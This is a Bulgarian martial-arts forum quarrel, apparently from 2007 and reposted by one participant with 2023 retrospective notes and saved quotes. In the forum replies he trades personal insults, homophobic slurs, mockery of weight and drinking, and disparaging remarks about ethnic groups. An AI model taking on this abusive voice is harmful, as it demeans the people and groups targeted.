За мен Татара писа кво ли не- почна да ми обяснява колко съм дебел, после на лични ми писа колко съм здрав и да му кажа упражнения да си развивал бицепса ( ), после пак почна да ми обяснява как ще умра от затлъстяване на сърцето; после съчини история как съм го видял да играе тао-лу и съм се изплашил; после съм бил гей; после съм биел малките и беззащитните, а ме е страх от яките мъжаги; после след едно състезание, където спечелих, писа, че всъщност не ме било страх, обжаче пак нищо не съм показал; после съчини едно л.с. с тъпотии за мен и го напуска на една камара потребители; после създаде теми за мен по другите форуми, заради които го баннаха от там.
Писа тъпотии и за приятелите ми, без да ги познава...Изцепките спрямо останалите поотребители и откровените тъпотии (бабата, психото, божественото тяло...) не ги броя. После се регна с женски ник и ми се обясняваше в любов После ми писа л.с. от името на Берсека с обиди, с надеждата, да се вържа и да се заям с него. После същото се опита и да направи и за потребителя Топалски.
Та да ти кажа, забележки относно поведението ми спрямо Татара не приемам от никого. Ако не си разбрал до сега защо, не се и опитвай повече.
"
КАКВО СЕ Е ПОЧНАЛО? ПОЧНА СЕ ТОВА, ЧЕ БЕЗ ДА ТИ ПРАВЯ НИЩО ЗАПОЧНА ДА СЕ ЗАЯЖДАШ С ФИЗИКАТА МИ (ами да не може всички да сме тлъстаци като тебе), ПОСЛЕ, ТИПИЧНО ПО ЕФЕКТА НА ПЕПЕРУДАТА СЕ СТИГНА И ДО ДРУГИТЕ ИЗЦЕПКИ.
ЗА ОЧИТЕ - ДА, ПРАВ СИ, ТОЗИ ФОРУМ ГО ЧЕТАТ ПРЕДИМНО НЕ МНОГО ПРОСВЕТЕНИ ХОРА И ЗА НЯКОИ ПИСАНИЯТА ТИ КАК СИ УДАРИЛ С ПАРЕН ЧУК ПО ГЛАВАТА ЕДИН ДЕТО СЕ Е ИЗМЪКНАЛ ОТ ОПИТА ТИ ЗА ЛАКЪТ МОЖЕ ДА СА КОНКУРЕНТНОСПОСОБНИ НА "КРИТИКА НА ЧИСТИЯ РАЗУМ" на И. КАНТ, ОБАЧЕ...на белия свят няма само простаци.
ЗА ИНФОРМАЦИЯТА - не той има 1/3, ами ти намяш 1/10, понеже страдаш от възпалената си фантазия.
СЕГА ТЕ ПОЧВАМ ПОТОЧКОВО, ЗА ДА НЕ ЗАБЛУЖДАВАШ ПО ТОЗИ МИЗЕРЕН НАЧИН ХОРАТА:
"За мен Татара писа кво ли не- почна да ми обяснява колко съм дебел"
ТИ ПОЧНА С ТЪПОТО ИЗРЕЧЕНИЕ, ЧЕ СИ МЕ ВИЖДАЛ НАЖИВО И ДА НЕ КАЗВАМ КАКВО И ЩО, ПОНЕЖЕ ЩЕЛИ САМО ДА МИ СЕ СМЕЯТ НА ФИЗИКАТА. Е, АЗ КАТО ЧОВЕК, ДЕТО МОЖЕ ДА Е МАНЕКЕН, НЕ МОГА ДА ПРИЕМАМ ЗАБЕЛЕЖКИ ОТ ТЛЪСТЬОВЦИ, ДЕТО МОГАТ ДА ПОЗИРАТ САМО НА БЕЛЬО ЗА 3-4 ХИКСА + 1 ЕЛ.
", после на лични ми писа колко съм здрав и да му кажа упражнения да си развивал бицепса ( )"
ЛЪЖЕЦ!!!!!!
НА ЛИЧНИ ЗАПОЧНАХМЕ ДА ГОВОРИМ ЗА ПОВЕДЕНИЕТО ТИ, ТИ ОБЕЩА, ЧЕ ЩЕ СЕ ПОПРАВИШ И ПОНЕЖЕ ТВЪРДЕШЕ, ЧЕ ИМАШ ОПИТ С БОДИБИЛДИНГА, ТЕ ПИТАХ ЗА ПРЕДМИШНИЦАТА, ПРЕДМИШНИЦАТАААААААААААААААААААААААААААААааааааааааааааа, А НЕ ЗА БИЦЕПСА. ВИДИШ ЛИ КОЛКО ПОМНИШ, МАЙМУНО?
", после пак почна да ми обяснява как ще умра от затлъстяване на сърцето"
МИСЛЯ, ЧЕ ПО ПОВОД НА ЗДРАВНА БЕСЕДА БЯХ КАЗАЛ, ЧЕ НЕ Е ПОЛЕЗНО ЗА СЪРЦЕТО ДА СИ "ТЛЪСТОГОРН", ВЯРНО Е! НО ТОВА НЕ ЗНАЧИ, ЧЕ СЪМ ТЕ УРОЧАВАЛ ИЛИ НЕЩО ТАКОВА.
"после съчини история как съм го видял да играе тао-лу и съм се изплашил"
ЕЛЕ ПЪК, ЧЕ НЕ МЕ ВИДЯ????????????????????? АМИ НАЛИ КАЗВАШ, ЧЕ СИ МЕ ВИЖДАЛ? КАКВО ПРАВЕХ ТОГАВА? ХА СПОМНИ СИ! И КАКВО СЕГА? ЩЕ ИЗВАДИШ НОВА ВЕРСИЯ ЗАЩО НЕ МИ СЕ ПРЕДСТАВИ, МИ ПОЧНА С ТЪПОТИИТЕ ОТ РОДА НА "БРАТЧЙЕД, НИЙ СМИ НАЧИНАИЩИ" (С типичния си Русенски говор). И, ПОНЕЖЕ АЗ НЕ ПАСА ТРЕВИЦА, МИ СТАНА ЯСНО КОЙ СИ, А И ПАНТАТА ГО ПОТВЪРДИ!
"после съм бил гей"
АМИ ВИКАТ, ЧЕ СИ ГИ ОПИПВАЛ ПО ТРЕНИРОВКИ И СИ НАБЛЯГАЛ НА БОРБИТЕ. КАКВО ДА СИ ПОМИСЛИ ЧОВЕК? А И ТИ ЧЕСТО СИ АТАКУВАЛ МОЯТА СЕКСУАЛНОСТ - ПРАВЕЛ СЪМ СВИРКИ ЗА ПО 2 ЮАНА В КИТАЙ И ПР. СПОМНЯШ ЛИ СИ, ИЛИ ИМАШ САМО ИЗБИРАТЕЛНА ПАМЕТ, МИЗЕРНИКО?
"после съм биел малките и беззащитните, а ме е страх от яките мъжаги"
МИ ТО СЕ ВИДЯ КАК СНИЖИ ТОНА С ЯВОР ДЯНКОВ ИЛИ КАТО ГОВОРИШ С ДОКТОРА. И ОТДЕЛНО - ЗАЩО НЕ СЕ ЯВИШ НА СВОБОДНИТЕ ДВУБОИ? ЩОТО ТАМ ЩЕ ИМА 2-МА НЕИЗВЕСТНИ, А НЕ САМО ЕДИН (ЧОВЕКА НА ДОКТОРА), ДЕТО ГО ПРИЕ СЛЕД ГОЛЯМО КОЛЕБАНИЕ (ПЪРВО ДЖУДО-БОЙ, ВЗЕ ДА СЕ ПРАВИ НА ГОЛЕМИЯ ОРГАНИЗАТОР И ДА СПОРИ С ДОКТОРА ДАЛИ ЩЕ СЕ ОРГАНИЗИРА ТОЗИ ДВУБОЙ, А ПОСЛЕ ТИ СБРА КУРАЖА, КАТО ПОПРОУЧИ КОЙ Е).
" после след едно състезание, където спечелих, писа, че всъщност не ме било страх, обжаче пак нищо не съм показал"
НЕ ВЕЕЕЕЕЕЕЕЕЕЕееееееееееееееееееее!!!
ПИСАХ, ЧЕСТИТО НА НОВАКОВ ЗА ПОБЕДАТА, НО ВСЕ ПАК...(и изброих някои неща; примерно, че човекът може да е бил по-тежък от тебе, но беше доста по-нисък, а това си беше предимство. СПОМНЯШ СИ КАТО СЕ ОПИТА ДА ТИ ХВАНЕ КРАЧЕТО И ДА ТЕ ВЪРГУЛНЕ НА ЗЕМЯТА, КАК МУ ПОДЛОЖИ КОЛЯНО ЛЕСНО, НАЛИ?)
" после съчини едно л.с. с тъпотии за мен и го напуска на една камара потребители"
КОЕ Е ТОВА ЛИЧНО?
"после създаде теми за мен по другите форуми, заради които го баннаха от там. "
МАЛЕ КОЛКО НЕ СИ В Чассссссссссссссссссссссссссссссссссссссссссссссссссссссссссссссссссссссссссссссссссссссс!
БАННАХА ХОРА КАТО ЗОРО, ДОБРУДЖАНСКИ И СТАН, ЩОТО ОБИЖДАХА! ТОЧНО ЗАРАДИ ТЕБЕ И АВЕРИТЕ ТИ МЕНЕ НЕ СА МЕ БАНВАЛИ, ПОНЕЖЕ СЕ ВИДЯ КОЛКО СТЕ ЗЛЕ. ИСКАШ ЛИ ЛИНКОВЕ?
"Писа тъпотии и за приятелите ми, без да ги познава..."
КОИ ПРИЯТЕЛИ, БЕ?
"Изцепките спрямо останалите поотребители и откровените тъпотии (бабата, психото, божественото тяло...) не ги броя."
За бабата е извадео от контекста. Ставаше дума, че един потребител питаше как да тренира като няма пари за зала и аз му казах да прави коремни, лицеви опори, да ползва биитието на предметите около себе си и между другото казах, че аз даже едни клещи стискам и вдигам бабата. Разбира се, ти запомни само последното, понеже е добър начин да си защитаваше тогавашия бизнес със заличките, нали?
За психото - баща ми, майка ми, Бог да я прости, както и бабата с дядото са психиатри и аз съм един вид, потомствен психиатър. Друго не съм казвал. Останалото е плод на възпалената ти фантазия.
За тялото - ОЩЕ ЛИ НЕ СИ РАЗБРАЛ, КАКВО Е БОГ И ПОЛУ-БОГ, СПОРЕД КЛАСИЧЕСКИТЕ ГРЪЦКИ, А НЕ СПОРЕД ДЕБИЛНИТЕ НОВАКОВСКИ ПРЕДСТАВИ?
"После се регна с женски ник и ми се обясняваше в любов"
ЕТО ТОВА Е ПЕДЕРАСТИЯТА ВИ МРЪСНА - ПРАВИТЕ НОМЕРА, ПОСЛЕ МЕНЕ ОБВИНЯВАТЕ! ЗАСЛУЖАВАТЕ ЕДНА ПИЧКА МАЙНА ПО ТОЗИ ПОВОД!
" После ми писа л.с. от името на Берсека с обиди, с надеждата, да се вържа и да се заям с него."
ОЩЕ ЕДНА ЛЪЖА!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ЧАКАЙ И АЗ ДА ИЗЛЪЖА НЕЩО : ГРИШАТА СЕ РЕГНА КАТО ХЕРМАФРОДИТ И МИ ПИСА ОТ ИМЕТО НА ВАКИДЗАШИ, ЗА ДА СЕ СКАРАМ С НЕГО! ПРИЯТНО ЛИ ТИ Е?
"После същото се опита и да направи и за потребителя Топалски."
ЛЪЖАААААААаааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааааа!
ПОРЕДНАТА, НО НЕ И ПОСЛЕДНАТА!
"Та да ти кажа, забележки относно поведението ми спрямо Татара не приемам от никого. Ако не си разбрал до сега защо, не се и опитвай повече."
КОЛКО НАГЛИЧКО ЗВУЧИ ОТ ЧОВЕК, ДЕТО ЛЪЖЕ ПО-ГАДНО И ОТ НАЙ-ГОЛЕМИТЕ РУСКИ МАНИПУЛАТОРИ. ГРОГОР НОВАКОВ...ЯВНО Е ПО НАСЛЕДСТВО ОТ РУСИЯ, А ГОСПОДИН НОВАКОВ (Къде се слага ударението, че понякога ми е трудно да се справям с руските имена и фамили, Григорий?).
35. СЕВЕРЕН ВЯТЪР
"Иначе Татар до едно време може би е внасял разнообразие във форума, но обидите и заплахите са излишни тук Четох и публикациите в други форуми относно Гришата и тези в защита на Доктора, които може би вече са изтрити от там (или не..)..
"
ОБИДИ И ЗАПЛАХИ...Заплахи няма, обидите са били в отговор на нещо си. Не знам за какви заплахи става дума. Просто съм казвал, че примерно, ако някой ме бие, винаги ще се намери някой, който да отмъсти за мене. Никой не е направен от стомана.
ДОКТОРА и ГРИША ---какво има да говорим?
Единият почти на 50 години, другият довчерашно хлапе.
Единият пише книги, статии и пр., другият, ако прочете и една книга е рекорд.
Единият се занимава, колкото и да е безперспективно с политческа и обществена дейност, другият не знае на кой свят живее.
Единият има мнение по исторически и антропологически въпроси, другият се мъчи да рефлектира по посредствени теми като "стрес при бой" и си мисли, че е голямата работа.
Не всичко ми харесва при Доктора, особено Зиевистката му теория напоследък, за автохтнонността на хуно-българите, но това не значи, че не е по-добър от Новаков, почти във всякакво отношение.
Ха кажи ми, ако трябва да избираш събеседник, спътник, учител или приятел кой от двамата ще избереш?
36. НИКОДИМ ПЕТРОВ
"Не мисля така.Просто силно иска да изглежда така,като вас....СИЛНИТЕ. Да можеш това което желаеш,Драконе.....не е комплекс.
Мислех че си го забелязал...тези негови напъни дори и в ругатните които е отправил към някой хора издават сърцето за което говорех.
Вероятно и друго си забелязал,но предполагм забравил ...колко силно и искренно подкрепяше Доктора,неговия идеален образ създаден от неговите найстина прекрасни книги.Някой хора го усетиха и го почнаха.Подигравката,съставянето на някакво категорично мнение за даден човек е присъда за него,която обикновенно се носи цял живот без право на обжалване,като невидим белег,дамга,допир на горещото желязо оставящо във времето дълбока сърдечна рана.Белязан за цял човешки живот.Той е такъв какъвто е сега... но според теб,след години същият ли човек ще е.Всеки в този живот се променя,променя го живота посредством неговият характер,посредством неговите вътрешни кривини и недостатъци който проявява спрямо всички в неговият си реален свят.Защото където и да отиде дори и в далееен Китай,човек носи единствено и само себе си.Това го знам от опит,който постоянно го виждам и в живота на хората около мен.Нека живота бъде неговият съдия,строг наставник и изправник,или както се казва ...неговата Мъжка и Баща.Там мърдане нема.Ако тук мръдне,там ще му се върне,и ще не живота ще го научи....Ще намери своето место в обшествената баничарница,ще има силата да разполага със себе си,без да се влияе,без да го клатушкат,да възпира злобата,която сега очевидно не може.Известно е че ТАТАРА не е заплаха за никой.Нито в физически аспект,нито пък за бизнеса на някой.Струва ли си само защото сме имали прозорливоста да усещаме и силата да боравим с даден човек,с неговото съзнание,сърце и душа....в посоката която си искаме ...да го водим,да го променим така както ние си искаме ...за да му (по скоро - си) покажем силата,превъзходството което усещаме в себе си,спрямо него....причинявайки му по този начин - БЕДА.И посредством тези си свой действия повличайки след мнението (силата) си и други такива, имайки силата за това,само и само за свой кеф...да го превърнем в белязан човек.Тъмната страна,прави човека тъмен,и всичко и всички около себе си ..само тези който искат,който желаят да могат това което идва единствено в своето си време.
Когато човек усети у себе си,прилива на силата ...естествено е да пожелае да я прояви и на вън,да я изпита,да види в колко мерки е тя.Но единствено само когато тази сила е в помощ,водеща до благоденствие и на другите хора...сиреч за тяхно добро (т.е Добротoлюбие)...>силата се обвива в светлина.......и поради туй става видна като истинска такава........Драконе.
Единствено когато ръката е отворена (готова за споделяне) може да задържи в шепата - водата.Стиснем ли я в в юмрук в опита си да я задържим, единствено за себе си,тя (водата) изчезва,изтича...
БЕЗ ...." $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
ХУБАВО СИ НАВЛЕЗНАЛ В ДЪЛБИННИ РАЗМИСЛИ, но не можах да разбера, КАТО КАК, си мислиш, че ДАЖЕ ЗА МИГ е възможно да имам тези гащници за "СИЛНИ"?!?!?!?!?!?! Нито са ми на годините, нито са ми на образованието, нито са ми на цялостния опит! ФИЗИЧЕСКИ може и да има по-силни, НО КАКВО ЗНАЧЕНИЕ ИМА ТОВА? В днешно време не е важно кой колко е як, ако беше така ЗОРО нямаше да се хвали с познатите си ядвокати и полицаи, а само с мускулите си, нали така?
"Да можеш това, което желаеш" - АМИ АЗ МОГА ПОВЕЧЕ ОТ ТЯХ! Вземам повече пари, ям по-добра и здравословна храна, радвам се на по-спокойна и нормална обществена среда, ПОНЕЖЕ СЪМ В КИТАЙ. Как ли пък си помисли, че някой от мизерлека в БГ може повече. Те са заети да мислят как да си платят парното и тока, как да не ги заколят цигани и пр. Аз такива банални грижи, нямам, слава на Бога (ако го има) и на Китайската Комунистическа Партия (нея СЪС СИУРНОСТ Я ИМА)!
За ДОБРИНАТА - вероятно съм добър, понеже СЛЕДВАМ КОМУНИСТИЧЕСКАТА ЕТИКА за ВСЕСТРАННО РАЗВИТИЕ НА ЛИЧНОСТТА И ЗА АДЕКВАТНОСТ В ПОВЕДЕНИЕТО. НЕ може да сме добри с всички.
За Доктора - ПРОСТО НА ФОНА НА ГАЩНИЦИТЕ ТУКА, ИЗГЛЕЖДА ИДЕАЛЕН, ама му се чудя на акъла на него, на тебе и на още няколкото по-интелигентни, как може още да стоите тука, сред тези прошляци?! Е, Докторът си прави реклама на школата поне, АМА ВИЕ?!
ПОДИГРАВА ЛИ МИ СЕ БИЛИ И НЕ МИ ДАВАЛИ ПРАВО НА ОБЖАЛВАНЕ----батенце, ЗНАЕШ ЛИ КОЛКО МИ ПУКА ЗА 5-6 БЪЛГАРСКИ СОЦИОПАТА (ИЛИ ПСИХОПАТА) какво си мислят за мене и дали ще ми дадат право на обжалване?!?!?!?!?!?! СВЕТЪТ НЕ СЕ ИЗЧЕРПВА С ТЯХ! АКО 5-6 ме мразят 500-600 ме обичат! АКО НЕ МИ ВЯРВАШ, МОЖЕ ДА ОСЪЩЕСТВИМ КОНТАКТ И ЩЕ ТИ ДАМ МНОГО КОНКРЕТНИ ПРИМЕРИ, ЗА ДА НЕ ДОСАЖДАМЕ НА ХОРАТА И НЕХОРАТА ТУК.
ЩЕ НОСЯ СЪРДЕЧНА РАНА ОТ ТЯХ?.......Извинявай, не искам да съм груб, ама да не са ми били гаджета или майка? Да имам сърдечна рана от психаря Гриша или алкохолика Ончо...Ами просто звучи доста смешно! ВСЕ ЕДНО БАЩА МИ, ДЕТО ЦЯЛ ЖИВОТ СЕ МЪЧИ С АЛКОХОЛИЦИТЕ И НАРКОМАНИТЕ ДА НОСИ СЪРДЕЧНА РАНА ОТ ОТНОШЕНИЕТО НА ПАЦИЕНТИТЕ СИ КЪМ НЕГО, КОИТО ГО МРАЗЯТ, ПРИМЕРНО, ЗА ТОВА, ЧЕ ИМ Е СЛОЖИЛ ПО НЯКОЯ ИГЛА ЗА УСПОКОЕНИЕ.
:)))))))))))))))))))))))))))))))))))))))))))))))))
ПОНЕЖЕ СМЯТАМ, ЧЕ СХВАНА ОСНОВНАТА ИДЕЯ, МИСЛЯ ДА НЕ ПРОДЪЛЖАВАМ НАТАТЪК. МИСЛИТЕ ТИ СА ДОБРИ И МЪДРИ, НО СА ВАЛИДНИ СПРЯМО ДРУГИ ХОРА И СИТУАЦИИ, А НЕ СПРЯМО НЯКОЛКОТО ГАШНИКА ТУКА.
37. МАРШЪЛ
"Олд Моон само пусна фитила май.
Ще има ли инфо или не???"
АМИ ОТ НЕПОРАСНАЛО ДЕТЕ КАТО МУНЧО, КАКВО ДА ОЧАКВАШ МАРШЪЛЕ?
38. АСЕН Г
"Нищо не съм получавал, освен за Китай и коментар по теми тук. Спрямо мен поведението му беше в рамките на културното! Ще отбележа само, че не виждам нужда от тази тема!"
ДА СЕ НЕ ПОВТАРЯМ, АМА ТИ СИ ЕДИН ОТ МАЛКОТО ИНТЕЛИГЕНТНИ ХОРА ТУКА. НЯМА СМИСЪЛ ДА КРИЕМ, ЧЕ С ТЕБЕ СМЕ ИМАЛИ ПРЕРЕКАНИЯ ЗА ОТДЕЛНИ БОЙНИ И ЕТИЧЕСКИ АСПЕКТИ НА ЛИЧНИ, АМА КАТО ОБЕКТИВЕН ЧОВЕК СИ КАЗВАШ НЕЩАТА КАКТО СА, БРАВО!
39 .ЗМЕЙ ГОРЯНИН
"За тези които не са обърнали внимание, темата не е за Татара (макар и да е споменат) а за друг човек.
Първо се заблуди Сун Дзъ който попита за развитие на случая. След него се обади Никодим за да защитава някой който не е нападан (не и в тази тема) и повлече крак.... Да се надяваме,че всичко това няма отново да свърши с поредното:
"Модераторски своеволия","Диктатура","Свобода за спамерите в ДаоБГ" и т.н."
ЗМЕЙО, ТО НАЛИ ЦЕЛТА Е ТОВА - ДА МОЖЕ ДА МЕ ВЗЕМАТ МЕНЕ НА ПОДБИВ ПО ВСЕКИ ПОВОД, БЕ! МУНЧО, ОНЧО, ЗОРЕТО, РЕД ДРАКОН, ГРИША И ДОБРУДЖАНСКИ СА ОСНОВНИТЕ МИ ФЕНОВЕ, ПОНЕЖЕ СИ ИМАТ КОМПЛЕКСЧЕТА ПО ЕДИН ИЛИ ДРУГ ПОВОД ОТ МЕНЕ.
ИНАЧЕ ТЕМИТЕ ЗА СВОЕВОЛИЯТА И ПР. СА БЕЗПОЛЕЗНИ, ПОНЕЖЕ в един момент Жорко Мунчов се изнервя и просъсква : "Няма демокрация - аз плащам по 60 долара на година, ще си правя каквото си искам!"
40. ТХУГЕЛЕНА
"Мисля, че ти убягва основната идея на потребителите, които се възмущават от темата. Няма значение дали е за Татар или за който и да било друг. Смисълът е в това, че такива теми нажежават излишно обстановката. Освен това създавате образ на един от потребителите за пред тези, които не го познават, но ще четат за него в бъдеще. Кой ви дава това право? Собствеността на сайта ли или работата, която вършите по подръжката? Излагате се..."
ТОЧНО ТАКА, НО ТЕ НЯМАТ СЪВЕСТ И СА КОМПЛЕКСИРАНИ НЕДОПОРАСНАЛИ ДЕЦА,...ЕДВА ЛИ ЩЕ ТЕ РАЗБЕРАТ? И КАТО КАЗВАШ "Кой ви дава право?" ТЕ СА РОЖБИ НА ОБСТАНОВКАТА СЛЕД 1989, КОГАТО НЕЩАТА НЕ ОПИРАТ ДО ПРАВО, А ДО СИЛА, ЗАТОВА СЕ ВЪЗПОЛЗВАТ ОТ "СИЛАТА СИ" НА МОДЕРАТОРИ ТУК. ИНАЧЕ КАТО МИ ДОЙДОХА НА НЕУТРАЛНА ТЕРИТОРИЯ ДА ВИДИШ КАКВО СЕ СЛУЧИ - нервни кризи и безпомощност от тяхна страна.
Първо казаха, че модераторът там щял да ме изгони. След това като го отнесоха те заради лош език с банове и изтрити постове, казаха, че модераторът не бил на място.
Много ще ми е интересно какво ли ще стане, ако дойдат в някои от форумите, където аз съм модератор.
41.Dobrudzhanski
"Ей, Стан, то Гришата, че има корем, аОня, че е пияница - туй всеки го знае(за Берсек нямам инфо...), ама хората ще си помислят, че аз наистина съм зоофил, то така се почва... после сестрата... "
Е, КАТО НЕ ТИ Е ПРИЯТНО, ЗАЩО ПИШЕШ ТОГАВА ТОЛКОВА СЛАСТНО СТИХОВЕ ЗА ЗООФИЛИЯ?
"Жоро, връщай Татаря или ще направя анкета и ще видиш цифровото изражение на форумското недоволство"
НЯМАМ ВРЕМЕ, БЕ, ПИЧ, МОДЕРИРАМ 2 ПО-ИНТЕРЕСНИ И ВАЖНИ ФОРУМА, ОТДЕЛНО ТРЯБВА ДА СЕ РАБОТИ ПО МАЛКО, ДАЖЕ И В КИТАЙ, А И СЕМЕЙСТВО ИМАМ.
42. ОНЧО-БОНБОНЧО ;)
"Аре стига изцепки вече,че ше играе брадвата!Темата не е за Татара!Чакаме включване от old_moon,а дотогава всичко извън темата ше отива в коша!"
КОЛКО "СВОЕВРЕМЕННА" НАМЕСА!
43. Добруджански
"Наредих те и веднага се появи, а!"
АМИ ДА, НЕ МУ Е ПРИЯТНО И ТИ ДА МУ КАЗВАШ, ЧЕ Е АЛКОХОЛНО-ЗАВИСИМ.
Ще перифразирам подписа ти -
"Силен човек е този, който може да прекъсне по своя воля връзката между чашата и устата си!" Е, ОНЧО НЕ МОЖЕ!
44. ЗМЕЙ ГОРЯНИН
"Тhugelena, възможно ли е да се появи някъде нещо свързано с управата на сайта и ти да не си на първа линия в защита на нечии права? Не мисля. Твоя работа е, разбира се ,къде и какво ще пишеш. Единствената причина да ти отговарям е, че ми отправяш обвинения в "създаване на образ". Аз не си спомням да съм писал някога нещо за Татара,ама щом казваш.
Образът за него си създадох четейки писанията му в АБВ-то а не тук. Ти чèте ли ги? Сигурно не си, защото такъв ревностен защитник на морала и справедливостта едва ли би ги оставил без отговор!"
ЗА ОБРАЗА НЕ ТИ, НО ОСТАНАЛИТЕ; ТЯ ГОВОРЕШЕ ОБЩО. ИНАЧЕ И АЗ Й СЕ ЧУДЯ А ТЪРПЕНИЕТО ДА ВИСИ ТУКА ,ДА ЧЕТЕ НЕСЪСТОЯТЕЛНОСТИ И ДА СЕ НАДЯВА, ЧЕ НЕЩО ЩЕ СЕ ПРОМЕНИ.
ЗА АБВ-ТО, ТАМ СИ ГОВОРИХМЕ ОСНОВНО ЗА ПОЛИТИКА "КОМУНИЗЪМ-КАПИТАЛИЗЪМ" , КУЛТУРОЛОГИЯ "КИТАЙ-ЗАПАДА", ИСТОРИЯ "КУМАНИ, ТАТАРИ И ПР."... КАКВО ТОЛКОВА СИ СЕ ОТЧАЯЛ? ДА НЕ БИ ДА ТИ Е БИЛО ТРУДНО ДА РАЗБЕРЕШ НЯКОИ ОТ НАУЧНИТЕ ДУМИ, КОИТО УПОТРЕБЯВАМ?
И ПОСЛЕДНО - ЗА НИКОВЕТЕ МИ - ОНЗИ НЕ Е ПРАВ, УЖКИМ ЗНАЕ КАНДЗИ, ПЪК ДА НЕ МОЖЕ ДА ПРОЧЕТЕ ТОЛКОВА ПРОСТ НИКНЕЙМ, КАТО "ЧУНГ-ГУНГ"...А ми пишеше, че говорел няколко езика на ниво "Нейтив спийкър", по-скоро вдига чашата като нейтив алкохолийкър.
________________
НАИСТИНА, НЕ ЧЕТА МНОГО ДАОБГ-ТО, навремето пишех там, понеже трябваше да си върна едно гадже (и успях), а после си правех свалка с една дама. Мийнуайл съм й писал нещо хумористично, полезно или културно. Вече не ми е интересно - нямам нито непосредствен, нито опосредствен интерес. АМА 2-ма от агентите ми там ме светнаха, че има темичка за мене и викам - ами дай пък да се намесим, НАЙ-ВЕЧЕ ЗАРАДИ ХОРАТА, КОИТО СА МЕ ПРЕЦЕНИЛИ ПРАВИЛНО.
Някои пояснения от днешна (2023 година) гледна точка:
1. С някои от тези, с които тогава сме се карали, по-късно се намерихме, те казаха някои добри думи и се оправихме (спомням си поне 2 такива случая - вкл. с админът, който се покая, че много хора са баннали, защото са мислели, че съм аз и не е бил прав, доколкото си спомям, останахме с добри отношения.)
2. За Христо Ботев - навремето още нямаше много онлайн информация, та вярвахме на всякакви неща, които ни разказваха по-старите хора - напр. това, че бил женкар, пийвал доста и се хвърлил веднъж-дваж гол на снега и пр., но вече се научих да не вярвам по този начин, ако няма документи (историографията вече ми е по-изяснена), та не мога така категорично да застана, както едно време, зад тези твърдения.
3. Отбелязвал съм и по-рано, но да кажа пак - вече знам, че в Османската армия е имало не само турци, но и други етноси, дори някои от тези извън Османската империя (например поляци, западно-европейци), та не е добре да се пише само за "турчор" (съжалявам, ако някой/някоя от днешните турци се е засегнал).
4. За циганите, също съм отбелязвал, но нека и сега го направя - нямам антицигански настроения отдавна, не съм против никой етнос, а само срещу тези, които са престъпници, лоши и пр. без значение дали са цигани, французи, ескимоси или китайци.
5. България наистина, в определени отношения, прилича на полуколония, но предвид какво се случва напоследък (Руската агресия, Китайското императоризиране, да не говорим за Иран и някои други), наистина мисля, че НАТО, САЩ, ЕС и пр. са по-добрият избор.
В тази връзка, в Китай, в днешно време, става все по-трудно и за чужденците, и за китайските граждани - икономически, културно, политически... накратко - все повече заприличва на феодализъм и империя (с император), почти не остана нещо от "народна република" и социализъм/комунизъм. Ориентирам се адекватно. По времето на другаря Ху Дзинтао беше много добре, вече не може да се каже така.
6. За травматичната болест на мозъка - имал съм предвид, че при тези много спаринги, двубои, състезания, отнасят доста удари по главата и това не е здравословно. Не съм заплашвал.
Като цяло, винаги само съм се отбранявал и никога не нападам пръв (вербално и/или физически). Аз съм културен човек и се стремя да бъда колкото се може по-цивилизован и, както едно време, всестранно развит по възможност.
7. Видях, през последните години, онлайн някои от тези споменатите по-горе - имат подобрение (в някои отношения - някои са се дипломирали, други са позабогатели, трети са пооправили фигурата, а има и комбинации от споменатите подобрения), както се казва, животът учи. Да се надяваме, че повечето ще станат по-добри хора и ще прогресират. Разбрах и за един починал, за съжаление.
8. След толкова много време, всичко това (дори и най-обидните думи на някои) изглеждат носталгично ;D. Та, ако някой от тях чете това (и се познае), може да ме намери, да си поговорим приятелски за това "добро старо време", а и да си общуваме като (вече) помъдрели и цивилизовани хора. :)
-
Ето някои интересни мнения, реплики, запазени през 2007-ма година. За съжаление не съм отбелязвал авторството им:
"Всъщност комунизмът не съществуваше, така както не съществува и бъдещето. Несъществуване по един и същ начин. Комунизмът беше винаги в проект, винаги един виртуален комунизъм. И в този смисъл настоящето на отделния "социалистически човек" беше само подготовка за проекта, репетиция за едно виртуално бъдеще, опит да се живее в един свят от символи." Сега добавям, че дори и да е било така, то при социализма си имаше някои комунистически или поне "достатъчно социалистически" неща в настоящето ни на социалистически човеци: моите любими са: безплатното образование, безплатното здравеопазване, както и доста евтини стоки и услуги по онова време, а и по-малкото престъпност като количество и качество.
"Когато нивото на научни знания е ниско а цялата тъкан на обществото в което живееш е пропита от религия, обикновено на мястото на издънилите се божества се измислят други, по-рафинирани." А пропагандата от политически тип, която се случва и сполучва напоследък дори в държави, които не са чак толкова религиозни, нито изостанали научно, показва че, като цяло, повечето хора са лековерни, краткопаметни, лесно манипулируеми.
"Но това което знам ми е достатъчно, ама напъно достатъчно за да се изказвам по определени въпроси със степен на убеденост съответна на моята компетентност по темата." Вярно е, че понякога дори определена част (количество) от познанието е достатъчна, за да се преодолее/премине мярата за качествено достигане на компетентност. Например не е нужно да си професионален политолог, за да разбереш, че Китай се императоризира или пък да си професионален орнитолог, за да знаеш, че птиците не са бозайници.
"Химически и емоционално чувствата ти са същите като при всички хора и повечето животни. Но по отношение на обектите и ценностите спрямо които са ориентирани - парадигмално, те са исторически и културно обусловени и ограничени. Ако не изцяло, поне отчасти, ако не абсолютно (щото тогава всичко щеше да е застинало), поне относително. И ти не можеш нито да мислиш нито да чувстваш напълно еднакво с хората отпреди. Щото си И дете на своето време. Не че не можеш да споделяш преобладаващата част от чувствата им. Например за хората преди 300 г. идеята за съсловно деление или еднкратен брак в живота е била естествена както за нас сега частната собственост или държавната допреди по-малко от 20-тина години. А на идеята за права и свободи на човека са се смеели.и са се гнусяли от нея. Повечето." Много добре казано. Добавям, че дори в съвремието (не само това, нашето съвремие) има доста различни, а някои - почти полярни обществени (преобладаващи в обществото) ценности - например през 2023 на някои места да има хомосексуалност е нормално и дори е със защитени права, но на други е ненормално и дори е подсъдно. Същото, за съжаление, се случва и с пацифизма - например в момента в Русия да си пацифист е опасно.
"митологизирането не поражда автоматично и непременно митология..." Просто митологията е нещо по-сложно, т. е. това е система от митове, от "митологизирания", да речем.
